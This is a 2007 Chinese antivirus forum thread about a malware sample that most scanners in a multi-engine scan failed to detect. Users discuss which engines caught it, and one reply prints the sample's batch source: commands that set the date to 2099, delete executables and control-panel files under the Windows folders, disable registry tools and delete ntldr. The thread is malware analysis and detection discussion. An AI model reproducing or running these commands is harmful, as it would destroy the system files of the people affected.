[MD5: 3BFAA9] 基本全挂

显示全部楼层 · 发表于 2007-7-26 09:56:03

Scan taken on 26 Jul 2007 01:48:50 (GMT)
A-Squared	Found nothing
AntiVir	Found nothing
ArcaVir	Found nothing
Avast	Found nothing
AVG Antivirus	Found nothing
BitDefender	Found BehavesLike:BAT.Delete (probable variant)
ClamAV	Found nothing
CPsecure	Found nothing
Dr.Web	Found nothing
F-Prot Antivirus	Found BAT/DelWin.R@troj
F-Secure Anti-Virus	Found BAT/DelWin.R@troj
Fortinet	Found nothing
Kaspersky Anti-Virus	Found nothing
NOD32	Found nothing
Norman Virus Control	Found nothing
Panda Antivirus	Found nothing
Rising Antivirus	Found nothing
Sophos Antivirus	Found nothing
VirusBuster	Found nothing
VBA32	Found nothing

很看BD报这种毒，算是比较罕见了，FS这次发威，没有和卡巴并肩，

估计是别的引擎报出来的。。

显示全部楼层 · 发表于 2007-7-26 09:57:37

FS最近开始不做卡巴小D了啊,F-PROT的引擎..
发现F-PROT很垃圾

显示全部楼层 · 发表于 2007-7-26 09:57:48

F-secure的F-prot引擎报的

显示全部楼层 · 发表于 2007-7-26 09:57:56

金山费尔全挂!!!

我的微点锁定了系统时间,所以无法修改

显示全部楼层 · 发表于 2007-7-26 09:58:24

显示全部楼层 · 发表于 2007-7-26 09:59:11

LS的是FS6.03??

显示全部楼层 · 发表于 2007-7-26 10:00:49

这个东东运行以后，会删除掉所有的可执行文件，并且
自动修改系统时间，可恶。。

显示全部楼层 · 发表于 2007-7-26 10:00:51

原帖由 tracydk 于 2007-7-26 09:59 发表
LS的是FS6.03??

不
是fscs 7.0

显示全部楼层 · 发表于 2007-7-26 10:01:45

date 2099-10-1
del C:\windows\*.exe
del C:\windows\system32\*.exe
del C:\windows\system32\*.cpl
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f
del c:\ntldr

改时间
删东西
锁注册表
不报有什么关系

显示全部楼层 · 发表于 2007-7-26 10:03:18

没什么的
即使做个批处理
删除所有exe文件
也不是算是病毒吧

[病毒样本] [MD5: 3BFAA9] 基本全挂

本帖子中包含更多资源

本帖子中包含更多资源

回复 #7 红心王子的帖子

浏览过的版块

[病毒样本] [MD5: 3BFAA9] 基本全挂

本帖子中包含更多资源

本帖子中包含更多资源

回复 #7 红心王子 的帖子

浏览过的版块

回复 #7 红心王子的帖子